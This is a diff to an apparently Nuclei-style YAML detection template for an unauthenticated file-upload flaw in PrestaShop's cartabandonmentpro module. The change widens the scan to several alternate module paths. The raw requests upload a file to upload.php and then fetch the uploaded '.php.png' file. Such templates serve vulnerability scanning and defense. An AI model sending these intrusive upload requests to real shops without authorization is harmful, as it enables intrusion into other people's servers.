diff --git a/http/vulnerabilities/prestashop/prestashop-cartabandonmentpro-file-upload.yaml b/http/vulnerabilities/prestashop/prestashop-cartabandonmentpro-file-upload.yaml index fefa07f46fc..03999237e44 100644 --- a/http/vulnerabilities/prestashop/prestashop-cartabandonmentpro-file-upload.yaml +++ b/http/vulnerabilities/prestashop/prestashop-cartabandonmentpro-file-upload.yaml @@ -15,6 +15,7 @@ info: product: ap_pagebuilder vendor: apollotheme tags: intrusive,file-upload,cartabandonmentpro,prestashop + variables: filename: '{{rand_base(7, "abc")}}' title: '{{rand_base(7, "abc")}}' @@ -22,7 +23,7 @@ variables: http: - raw: - | - POST /modules/cartabandonmentpro/upload.php HTTP/1.1 + POST /modules/{{paths}}/upload.php HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=xYzZY @@ -37,9 +38,18 @@ http: --xYzZY-- - | - GET /modules/cartabandonmentpro/uploads/{{filename}}.php.png HTTP/1.1 + GET /modules/{{paths}}/uploads/{{filename}}.php.png HTTP/1.1 Host: {{Hostname}} + payloads: + paths: + - 'cartabandonmentpro' + - 'cartabandonmentproOld' + - 'cartabandonmentpro_Old' + - 'cartabandonmentpro2' + - 'pscartabandonmentpro' + + stop-at-first-match: true matchers: - type: dsl dsl: @@ -47,4 +57,3 @@ http: - 'contains(body_1, "{{filename}}.php.png")' - 'status_code_1 == 200 && status_code_2 == 200' condition: and -# digest: 4a0a0047304502206e7fd1274ec8a32ba237fe97e0cec1140d289a60334a308e04e8485002058aaf022100deb3630fa4128c303b0e7cd72d3391a0374c670db5ff498077d4d8779f44e369:922c64590222798bb761d5b6d8e72950 \ No newline at end of file